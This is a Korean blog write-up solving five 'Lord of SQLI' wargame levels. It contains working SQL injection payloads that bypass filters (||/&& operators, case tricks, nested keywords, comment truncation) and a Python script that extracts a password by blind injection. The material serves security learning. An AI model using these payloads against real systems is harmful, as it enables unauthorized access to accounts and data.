본문 바로가기
Wargame Write-Up/LOS

[Lord of SQLI] darkelf, orge, troll, vampire, skeleton 풀이

by snwo 2021. 5. 26.

darkelf

and 와 or 을 필터링해놨다. 근데 || 랑 && 로 우회할 수 있당.

 

select id from prob_darkelf where id='guest' and pw='' || id='admin' && '1'

 

pw=' || id='admin' %26%26 '1

 

%26 은 & 을 의미하는데, 쿼리를 넣을 때, & 는 값들을 구분하기 위해 사용하기 때문에

%26 으로 urlencode 처리해서 넣어줘야한당.

orge

지금부터 소스코드도 같이 붙여넣어야겠다.

or 과 and 를 필터링하고 있으며, 아까처럼 &&, || 을 통해 우회해야한다.

근데 이거는 orc 문제처럼 admin 의 pw 를 맞춰야한다.

 

orc 문제와 똑같이 8글자인 것을 확인했다.

전에 썼던 소스코드 조금만 수정해서 쓸 수 있겠당

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string
s=requests.Session()
 
url='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='
pw=''
for i in range(1,9):
 
        for c in range(33,126):
                query="' || id='admin' %26%26 substring(pw,{0},1)='{1}".format(i,chr(c))
                r=s.get(url+query,cookies={"PHPSESSID":"kh92pnpqghhmnh7f3b4poau81c"})
                if r.text.find("<h2>Hello admin</h2>")!=-1:
                        print(f"{i} : {chr(c)}")
                        pw+=chr(c)
                        break
 
print(f"[+] password found : {pw}")
cs

 

pw=7b751aec

 

참고로 HttpOnly Flag 가 설정되어있어서, document.cookie 로 PHPSESSID 값을 가져오지 못한다.

크롬 개발자도구 -> network 에서 가져와야한다.

troll

id 가 admin 이면 풀리는 문제인데, admin 과 ' (싱글쿼터) 가 필터링되어있다.

하지만 mysql 에서 기본적으로 대소문자 구분을 안하기 때문에

 

pw=ADMIN

 

하면 풀린다~

vampire

방금 troll 문제와 같은 유형인데, 이번에는 대문자를 입력해도 모두 소문자로 바꾼 다음,

admin 을 "" 으로 대체한다.

하지만 대체하는 부분은 한 번만 실행되기 때문에

 

aadmindmin 

이런식으로 입력하면, 가운데에 있는 admin 이 사라지고, 나눠져있던 a      dmin 이 합쳐져,

id 에 admin 이 들어가게 된다.

 

pw=aadmindmin

skeleton

테이블 조작하는거 말고, 아무것도 필터링되지 않는다.

근데 pw 다음에 and 1=0 으로 조건문을 거짓으로 만드는 것을 확인할 수 있다.

# 또는 -- 으로, 뒷부분을 주석처리하면 된다.

 

select id from prob_skeleton where id='guest' and pw='3' or id='admin' or '1 -- ' and 1=0

 

guest 부분은 아무거나 넣어서 거짓으로 만들고, 

id='admin' 부분은 뒤에 or '1 -- 을 붙여, 닫는 싱글쿼터와 매치되게 한다.

이 때, and 1=0 부분은 주석 뒤 이므로, 무시된당.

( -- 주석 쓸 때는, 주석 앞 뒤로 공백을 줘야한다. )

 

pw=3' or id='admin' or '1 --